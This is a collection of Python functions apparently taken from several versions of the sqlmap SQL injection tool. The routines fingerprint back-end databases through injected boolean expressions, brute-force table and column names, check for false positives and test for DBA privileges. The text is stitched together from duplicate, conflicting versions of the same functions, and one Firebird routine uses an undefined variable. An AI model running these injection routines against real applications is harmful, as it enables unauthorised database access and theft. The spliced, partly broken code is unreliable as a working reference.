def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(ORACLE_ALIASES): setDbms(DBMS.ORACLE) self.getBanner() return True infoMsg = "testing %s" % DBMS.ORACLE logger.info(infoMsg) # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does # not work connecting directly to the Oracle database if conf.direct: result = True else: result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)") if result: infoMsg = "confirming %s" % DBMS.ORACLE logger.info(infoMsg) # NOTE: SELECT NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1]) FROM DUAL does # not work connecting directly to the Oracle database if conf.direct: result = True else: result = inject.checkBooleanExpression("NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1])") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warn(warnMsg) return False setDbms(DBMS.ORACLE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.ORACLE logger.info(infoMsg) # Reference: https://en.wikipedia.org/wiki/Oracle_Database for version in ("12c", "11g", "10g", "9i", "8i"): number = int(re.search(r"([\d]+)", version).group(1)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) if output: Backend.setVersion(version) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warn(warnMsg) return False
def heuristicCheckDbms(injection): retVal = None pushValue(kb.injection) kb.injection = injection randStr1, randStr2 = randomStr(), randomStr() for dbms in getPublicTypeMembers(DBMS, True): Backend.forceDbms(dbms) if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)): if not checkBooleanExpression( "(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2) ): retVal = dbms break Backend.flushForcedDbms() kb.injection = popValue() if retVal: infoMsg = ( "heuristic (extended) test shows that the back-end DBMS " ) # not as important as "parsing" counter-part (because of false-positives) infoMsg += "could be '%s' " % retVal logger.info(infoMsg) return retVal
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \ or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.SYBASE logger.info(infoMsg) if conf.direct: result = True else: result = inject.checkBooleanExpression("@@transtate=@@transtate") if result: infoMsg = "confirming %s" % DBMS.SYBASE logger.info(infoMsg) result = inject.checkBooleanExpression("suser_id()=suser_id()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False setDbms(DBMS.SYBASE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.SYBASE logger.info(infoMsg) result = unArrayizeValue(inject.getValue("SUBSTRING(@@VERSION,1,1)")) if result and result.isdigit(): Backend.setVersion(str(result)) else: for version in xrange(12, 16): result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) if result: Backend.setVersion(str(version)) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False
def heuristicCheckDbms(injection): retVal = None if not Backend.getIdentifiedDbms() and len(injection.data) == 1 and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: pushValue(kb.injection) kb.injection = injection randStr1, randStr2 = randomStr(), randomStr() for dbms in getPublicTypeMembers(DBMS, True): Backend.forceDbms(dbms) if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)): if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)): retVal = dbms break Backend.flushForcedDbms() kb.injection = popValue() if retVal: infoMsg = "heuristic test showed that the back-end DBMS " infoMsg += "could be '%s' " % retVal logger.info(infoMsg) return retVal
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES): setDbms(DBMS.MAXDB) self.getBanner() return True infoMsg = "testing %s" % DBMS.MAXDB logger.info(infoMsg) result = inject.checkBooleanExpression("ALPHA(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MAXDB logger.info(infoMsg) result = inject.checkBooleanExpression("MAPCHAR(NULL,1,DEFAULTMAP) IS NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB logger.warn(warnMsg) return False setDbms(DBMS.MAXDB) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB logger.warn(warnMsg) return False
def __versionCheck(self): infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB logger.info(infoMsg) query = agent.prefixQuery("/* NoValue */") query = agent.suffixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if not result: warnMsg = "unable to perform %s version check" % DBMS.MAXDB logger.warn(warnMsg) return None minor, major = None, None for version in (6, 7): result = inject.checkBooleanExpression("%d=(SELECT MAJORVERSION FROM SYSINFO.VERSION)" % version) if result: major = version for version in xrange(0, 10): result = inject.checkBooleanExpression("%d=(SELECT MINORVERSION FROM SYSINFO.VERSION)" % version) if result: minor = version if major and minor: return "%s.%s" % (major, minor) else: return None
def _versionCheck(self): minor, major = None, None for version in reversed(xrange(5, 15)): result = inject.checkBooleanExpression( "(SELECT COUNT(*) FROM sysibm.sysversions WHERE versionnumber BETWEEN %d000000 AND %d999999)>0" % (version, version)) if result: major = version for version in reversed(xrange(0, 20)): result = inject.checkBooleanExpression( "(SELECT COUNT(*) FROM sysibm.sysversions WHERE versionnumber BETWEEN %d%02d0000 AND %d%02d9999)>0" % (major, version, major, version)) if result: minor = version version = "%s.%s" % (major, minor) break break if major and minor: return "%s.%s" % (major, minor) else: return None
def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(H2_ALIASES): setDbms("%s %s" % (DBMS.H2, Backend.getVersion())) self.getBanner() return True infoMsg = "testing %s" % DBMS.H2 logger.info(infoMsg) result = inject.checkBooleanExpression("ZERO() IS 0") if result: infoMsg = "confirming %s" % DBMS.H2 logger.info(infoMsg) result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 logger.warn(warnMsg) return False else: setDbms(DBMS.H2) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.H2 logger.warn(warnMsg) return False
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(ORACLE_ALIASES) or (conf.dbms or "").lower() in ORACLE_ALIASES): setDbms(DBMS.ORACLE) self.getBanner() return True infoMsg = "testing %s" % DBMS.ORACLE logger.info(infoMsg) # NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting # directly to the Oracle database if conf.direct: result = True else: result = inject.checkBooleanExpression("ROWNUM=ROWNUM") if result: infoMsg = "confirming %s" % DBMS.ORACLE logger.info(infoMsg) # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does # not work connecting directly to the Oracle database if conf.direct: result = True else: result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warn(warnMsg) return False setDbms(DBMS.ORACLE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.ORACLE logger.info(infoMsg) for version in ("11i", "10g", "9i", "8i"): number = int(re.search("([\d]+)", version).group(1)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) if output: Backend.setVersion(version) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warn(warnMsg) return False
def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) query = "(SELECT LENGTH(OS_NAME) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_NAME LIKE '%WIN%')>0" result = inject.checkBooleanExpression(query) if not result: Backend.setOs(OS.LINUX) else: Backend.setOs(OS.WINDOWS) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() if result: versions = { "2003": ("5.2", (2, 1)), "2008": ("7.0", (1,)), "2000": ("5.0", (4, 3, 2, 1)), "7": ("6.1", (1, 0)), "XP": ("5.1", (2, 1)), "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "(SELECT LENGTH(OS_VERSION) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_VERSION = '%s')>0" % data[0] result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): return # Get back-end DBMS underlying operating system service pack for sp in versions[Backend.getOsVersion()][1]: query = "(SELECT LENGTH(OS_RELEASE) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_RELEASE LIKE '%Service Pack " + str(sp) + "%')>0" result = inject.checkBooleanExpression(query) if result: Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): Backend.setOsServicePack(0) debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg)
def checkFalsePositives(injection): """ Checks for false positives (only in single special cases) """ retVal = injection if len(injection.data) == 1 and any(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED]))\ or len(injection.data) == 2 and all(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED])): # or len(injection.data) == 1 and 'Generic' in injection.data.values()[0].title and not Backend.getIdentifiedDbms(): pushValue(kb.injection) infoMsg = "checking if the injection point on %s " % injection.place infoMsg += "parameter '%s' is a false positive" % injection.parameter logger.info(infoMsg) def _(): return int(randomInt(2)) + 1 kb.injection = injection # Simple arithmetic operations which should show basic # arithmetic ability of the backend if it's really injectable for i in xrange(1 + conf.level / 2): randInt1, randInt2, randInt3 = (_() for j in xrange(3)) # Just in case (also, they have to be different than 0 because of the last test) while randInt1 == randInt2: randInt2 = _() if not checkBooleanExpression("(%d+%d)=%d" % (randInt1, randInt2, randInt1 + randInt2)): retVal = None break elif checkBooleanExpression("%d>(%d+%d)" % (min(randInt1, randInt2), randInt3, max(randInt1, randInt2))): retVal = None break elif checkBooleanExpression("(%d+%d)>%d" % (randInt3, min(randInt1, randInt2), randInt1 + randInt2 + randInt3)): retVal = None break elif not checkBooleanExpression("%d=(%d+%d)" % (randInt1 + randInt2, randInt1, randInt2)): retVal = None break if retVal is None: warnMsg = "false positive or unexploitable injection point detected" logger.warn(warnMsg) if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: if all(_.__name__ != "between" for _ in kb.tamperFunctions): warnMsg = "there is a possibility that the character '>' is " warnMsg += "filtered by the back-end server. You can try " warnMsg += "to rerun with '--tamper=between'" logger.warn(warnMsg) kb.injection = popValue() return retVal
def checkDbms(self): if ( not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) or conf.dbms in FIREBIRD_ALIASES) and Backend.getVersion() and Backend.getVersion() != UNKNOWN_DBMS_VERSION ): v = Backend.getVersion().replace(">", "") v = v.replace("=", "") v = v.replace(" ", "") Backend.setVersion(v) setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion())) self.getBanner() return True infoMsg = "testing %s" % DBMS.FIREBIRD logger.info(infoMsg) randInt = randomInt() result = inject.checkBooleanExpression("EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt)) if result: infoMsg = "confirming %s" % DBMS.FIREBIRD logger.info(infoMsg) result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False setDbms(DBMS.FIREBIRD) infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD logger.info(infoMsg) version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) setDbms("%s %s" % (DBMS.FIREBIRD, version)) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \ or conf.dbms in SYBASE_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.SYBASE logger.info(infoMsg) if conf.direct: result = True else: result = inject.checkBooleanExpression("tempdb_id()=tempdb_id()") if result: infoMsg = "confirming %s" % DBMS.SYBASE logger.info(infoMsg) result = inject.checkBooleanExpression("suser_id()=suser_id()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False setDbms(DBMS.SYBASE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.SYBASE logger.info(infoMsg) for version in xrange(12, 16): result = inject.checkBooleanExpression("@@VERSION_NUMBER/1000=%d" % version) if result: Backend.setVersion(str(version)) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False
def checkDbms(self): if ( not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) or conf.dbms in MSSQL_ALIASES) and Backend.getVersion() and Backend.getVersion().isdigit() ): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.MSSQL logger.info(infoMsg) # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not # work connecting directly to the Microsoft SQL Server database if conf.direct: result = True else: result = inject.checkBooleanExpression("SQUARE([RANDNUM])=SQUARE([RANDNUM])") if result: infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) for version, check in ( ("2000", "HOST_NAME()=HOST_NAME()"), ("2005", "XACT_STATE()=XACT_STATE()"), ("2008", "SYSDATETIME()=SYSDATETIME()"), ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), ): result = inject.checkBooleanExpression(check) if result: Backend.setVersion(version) if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) else: setDbms(DBMS.MSSQL) self.getBanner() Backend.setOs(OS.WINDOWS) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL logger.warn(warnMsg) return False
def checkFalsePositives(injection): """ Checks for false positives (only in single special cases) """ retVal = injection if ( len(injection.data) == 1 and any( map( lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED], ) ) or len(injection.data) == 2 and all(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED])) or len(injection.data) == 1 and "Generic" in injection.data.values()[0].title and not Backend.getDbms() ): pushValue(kb.injection) infoMsg = "checking if the injection point on %s " % injection.place infoMsg += "parameter '%s' is a false positive" % injection.parameter logger.info(infoMsg) def _(): return int(randomInt(2)) + 1 kb.injection = injection randInt1, randInt2, randInt3 = (_() for i in xrange(3)) # Just in case (also, they have to be different than 0 because of the last test) while randInt1 == randInt2: randInt2 = _() # Simple arithmetic operations which should show basic # arithmetic ability of the backend if it's really injectable if not checkBooleanExpression("(%d+%d)=%d" % (randInt1, randInt2, randInt1 + randInt2)): retVal = None elif checkBooleanExpression("%d>(%d+%d)" % (min(randInt1, randInt2), randInt3, max(randInt1, randInt2))): retVal = None elif checkBooleanExpression("(%d+%d)>%d" % (randInt3, min(randInt1, randInt2), randInt1 + randInt2 + randInt3)): retVal = None elif not checkBooleanExpression("%d=(%d+%d)" % (randInt1 + randInt2, randInt1, randInt2)): retVal = None if retVal is None: warnMsg = "false positive or unexploitable injection point detected" logger.warn(warnMsg) kb.injection = popValue() return retVal
def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(INFORMIX_ALIASES): setDbms(DBMS.INFORMIX) self.getBanner() return True infoMsg = "testing %s" % DBMS.INFORMIX logger.info(infoMsg) result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSMASTER:SYSDUAL)") if result: infoMsg = "confirming %s" % DBMS.INFORMIX logger.info(infoMsg) result = inject.checkBooleanExpression("(SELECT DBINFO('DBNAME') FROM SYSMASTER:SYSDUAL) IS NOT NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX logger.warn(warnMsg) return False # Determine if it is Informix >= 11.70 if inject.checkBooleanExpression("CHR(32)=' '"): Backend.setVersion(">= 11.70") setDbms(DBMS.INFORMIX) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.INFORMIX logger.info(infoMsg) for version in ("12.1", "11.7", "11.5"): output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version) if output: Backend.setVersion(version) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.INFORMIX logger.warn(warnMsg) return False
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \ or conf.dbms in MSSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.MSSQL logger.info(infoMsg) # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not # work connecting directly to the Microsoft SQL Server database if conf.direct: result = True else: randInt = randomInt() result = inject.checkBooleanExpression("BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt)) if result: infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) for version, check in [ ("2000", "HOST_NAME()=HOST_NAME()"), \ ("2005", "XACT_STATE()=XACT_STATE()"), \ ("2008", "SYSDATETIME()=SYSDATETIME()") ]: result = inject.checkBooleanExpression(check) if result: Backend.setVersion(version) if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) else: setDbms(DBMS.MSSQL) self.getBanner() Backend.setOs(OS.WINDOWS) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL logger.warn(warnMsg) return False
def checkDbms(self): """ References for fingerprint: * http://www.sqlite.org/lang_corefunc.html * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions """ if not conf.extensiveFp and (Backend.isDbmsWithin(SQLITE_ALIASES) or (conf.dbms or "").lower() in SQLITE_ALIASES): setDbms(DBMS.SQLITE) self.getBanner() return True infoMsg = "testing %s" % DBMS.SQLITE logger.info(infoMsg) result = inject.checkBooleanExpression("LAST_INSERT_ROWID()=LAST_INSERT_ROWID()") if result: infoMsg = "confirming %s" % DBMS.SQLITE logger.info(infoMsg) result = inject.checkBooleanExpression("SQLITE_VERSION()=SQLITE_VERSION()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE logger.warn(warnMsg) return False else: infoMsg = "actively fingerprinting %s" % DBMS.SQLITE logger.info(infoMsg) result = inject.checkBooleanExpression("RANDOMBLOB(-1)>0") version = '3' if result else '2' Backend.setVersion(version) setDbms(DBMS.SQLITE) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE logger.warn(warnMsg) return False
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \ or (conf.dbms or "").lower() in FIREBIRD_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: Backend.setVersion(v) setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion())) self.getBanner() return True infoMsg = "testing %s" % DBMS.FIREBIRD logger.info(infoMsg) result = inject.checkBooleanExpression("(SELECT COUNT(*) FROM RDB$DATABASE WHERE [RANDNUM]=[RANDNUM])>0") if result: infoMsg = "confirming %s" % DBMS.FIREBIRD logger.info(infoMsg) result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False setDbms(DBMS.FIREBIRD) infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD logger.info(infoMsg) version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) setDbms("%s %s" % (DBMS.FIREBIRD, version)) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False
def columnExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) kb.locks.io.acquire() if result: threadData.shared.value.append(column) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release()
def tableExistsThread(): while count[0] < length and kb.threadContinue: tbllock.acquire() table = safeSQLIdentificatorNaming(tables[count[0]]) count[0] += 1 tbllock.release() if conf.db and not conf.db.endswith(METADB_SUFFIX): fullTableName = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', table) else: fullTableName = table result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %d FROM %s)", (randomInt(1), fullTableName))) iolock.acquire() if result and table.lower() not in items: retVal.append(table) items.add(table.lower()) dataToSessionFile("[%s][%s][%s][TABLE_EXISTS][%s]\n" % (conf.url,\ kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]),\ safeFormatString(fullTableName))) if conf.verbose in (1, 2): clearConsoleLine(True) infoMsg = "\r[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), table) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%s)' % (count[0], length, round(100.0*count[0]/length), '%') dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) iolock.release()
def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(DB2_ALIASES): setDbms(DBMS.DB2) return True logMsg = "testing %s" % DBMS.DB2 logger.info(logMsg) result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1)") if result: logMsg = "confirming %s" % DBMS.DB2 logger.info(logMsg) version = self._versionCheck() if version: Backend.setVersion(version) setDbms("%s %s" % (DBMS.DB2, Backend.getVersion())) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 logger.warn(warnMsg) return False
def _sysTablesCheck(self): retVal = None table = ( ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)), ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), # TODO: add test for Firebird 2.5 ) for i in xrange(len(table)): version, checks = table[i] failed = False check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100))) result = inject.checkBooleanExpression(check) if result: retVal = version else: failed = True break if failed: break return retVal
def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) # Windows executables should always have ' Visual C++' or ' mingw' # patterns within the banner osWindows = (" Visual C++", "mingw") for osPattern in osWindows: query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%" + osPattern + "%')>0" if inject.checkBooleanExpression(query): Backend.setOs(OS.WINDOWS) break if Backend.getOs() is None: Backend.setOs(OS.LINUX) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() logger.info(infoMsg) self.cleanup(onlyFileTbl=True)
def _dialectCheck(self): retVal = None if Backend.getIdentifiedDbms(): result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)") retVal = "dialect 3" if result else "dialect 1" return retVal
def _getDatabaseDir(self): retVal = None infoMsg = "searching for database directory" logger.info(infoMsg) randStr = randomStr() inject.checkBooleanExpression("EXISTS(SELECT * FROM %s.%s WHERE [RANDNUM]=[RANDNUM])" % (randStr, randStr)) if wasLastResponseDBMSError(): threadData = getCurrentThreadData() match = re.search("Could not find file\s+'([^']+?)'", threadData.lastErrorPage[1]) if match: retVal = match.group(1).rstrip("%s.mdb" % randStr) if retVal.endswith('\\'): retVal = retVal[:-1] return retVal
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(ACCESS_ALIASES) or (conf.dbms or "").lower() in ACCESS_ALIASES): setDbms(DBMS.ACCESS) return True infoMsg = "testing %s" % DBMS.ACCESS logger.info(infoMsg) result = inject.checkBooleanExpression("VAL(CVAR(1))=1") if result: infoMsg = "confirming %s" % DBMS.ACCESS logger.info(infoMsg) result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS logger.warn(warnMsg) return False setDbms(DBMS.ACCESS) if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.ACCESS logger.info(infoMsg) version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS logger.warn(warnMsg) return False
def tableExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break if ( conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD) ): fullTableName = "%s%s%s" % ( conf.db, ".." if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else ".", table, ) else: fullTableName = table result = inject.checkBooleanExpression( "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)) ) kb.locks.io.acquire() if result and table.lower() not in threadData.shared.unique: threadData.shared.value.append(table) threadData.shared.unique.add(table.lower()) if conf.verbose in (1, 2) and not hasattr(conf, "api"): clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\r\n" % ( time.strftime("%X"), unsafeSQLIdentificatorNaming(table), ) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = "%d/%d items (%d%%)" % ( threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit), ) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release()
def _sandBoxCheck(self): # Reference: http://milw0rm.com/papers/198 retVal = None table = None if Backend.isVersionWithin(("97", "2000")): table = "MSysAccessObjects" elif Backend.isVersionWithin(("2002-2003", "2007")): table = "MSysAccessStorage" if table is not None: result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table) retVal = "not sandboxed" if result else "sandboxed" return retVal
def isDba(self, user=None): infoMsg = "testing if current user is DBA" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL): self.getCurrentUser() query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None) elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None: query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user else: query = queries[Backend.getIdentifiedDbms()].is_dba.query query = agent.forgeCaseStatement(query) kb.data.isDba = inject.checkBooleanExpression(query) or False return kb.data.isDba
